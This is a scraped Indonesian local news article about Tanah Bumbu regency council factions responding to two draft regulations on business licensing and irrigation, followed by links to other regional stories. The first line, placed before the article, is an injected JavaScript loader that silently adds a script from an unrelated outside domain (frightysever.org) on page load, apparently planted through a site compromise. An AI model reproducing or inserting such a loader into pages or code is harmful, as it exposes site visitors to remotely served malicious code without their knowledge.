(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BATULICIN – Fraksi-fraksi Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Tanah Bumbu (Tanbu) menyampaikan pandangan umum terhadap dua buah Raperda, Senin (7/3/2022).
Penyampaian pemandangan umum dimulai Fraksi PDI Perjuangan, Fraksi Gerinda dan Fraksi Golk, serta Fraksi Kebangkitan Bangsa dan Fraksi Amanat Perjuangan Demokrat, di ruang rapat paripurna Glgedung DPRD Tanbu.
Rapat paripurna DPRD dalam rangka pandangan umum terhadap Dua Buah Raperda Tanah Bumbu sebelumnya disampaikan oleh Bupati Tanah Bumbu diwakili Sekretaris H Ambo Sakka.
“Rapat Paripurna ini Pemandangan Umum Fraksi, melanjutkan rapat penyampaian dua buah Raperda tentang penyelenggaraan perizinan berusaha dan penyelenggaraan irigasi ini dipimpin,” ucap Wakil Ketua I DPRD Kabupaten Tanah Bumbu, Said Ismail Kholil Alaydrus.
Baca juga : Kunjungi Istana Anak Yatim, Bupati Zairullah: 11 Maret Ada Acara Anak-anak Yatim se Indonesia
Dalam rapat paripurna Pemkab Tanbu diwakili oleh Asisten III Bidang Administrasi Umum.
Seluruh fraksi-fraksi yang berhadir dalam rapat ini dapat menerima dua buah Raperda dengan catatan dan usul serta saran-saran yang mengacu yang tidak bertentangan pada peraturan yang ada diatasnya untuk di bahas ketingkat pembicaraan lebih lanjut.
Fraksi Demokrat Indonesia Perjuangan menyampaikan beberapa hal yakni berkaitan dengan tentang raperda perizinan berusaha, ia menanyakan apakah tidak ada Perda yang sudah ada yang terkait dengan Raperda tersebut, kemudian apakah kriteria unsur penilaian untuk menetapkan suatu kegiatan usaha itu, sehingga bisa di tetapkan klasifikasi usaha rendah, menengah dan tinggi. Karena dalam pasal 5 disebutkan klasifikasi tetapi tidak terdapat indikator dan kriterianya. Sedangkan pada pasal 7 sampai 9 untuk pemberian nomor induk dijelaskan bahwa ada verifikasi pemberian nomor induk berusaha dan izin sesuai dengan klasifikasi resiko.
Sementara terkait Raperda penyelenggaraan irigasi, namun isinya terlalu banyak mengatur tentang pengelolaan dan kelembagaan yang akan mengatur tentang irigasi, maka apakah tidak sebaiknya judul Raperda tersebut diubah pada saat pembahasan nanti disesuaikan dengan isi pasal per pasal nya yang cenderung berisikan tentang pengelolaan dan kelembagaan. (kanalkalimantan.com/ftr)
Reporter : ftr
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Forum Ambin Demokrasi turut menyikapi jalannya proses demokrasi dalam Pemilihan Wali Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kota Banjarbaru mulai masuk masa tenang jelang Pemilihan Kepala Daerah (Pilkada) Serentak… Read More
Coblos Paslon yang Dibatalkan Suara Dianggap Tidak Sah Read More
KANALKALIMANTAN.COM, BANJARBARU - Penjabat Sementara (Pjs) Wali Kota Banjarbaru Dra Hj Nurliani MAP telah bertugas… Read More
KANALKALIMANTAN.COM, AMUNTAI - Menjelang hari pemilihan dan memasuki masa tenang Pemilihan Kepala Daerah (Pilkada) 2024,… Read More
KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) mulai mendistribusikan logistik… Read More
This website uses cookies.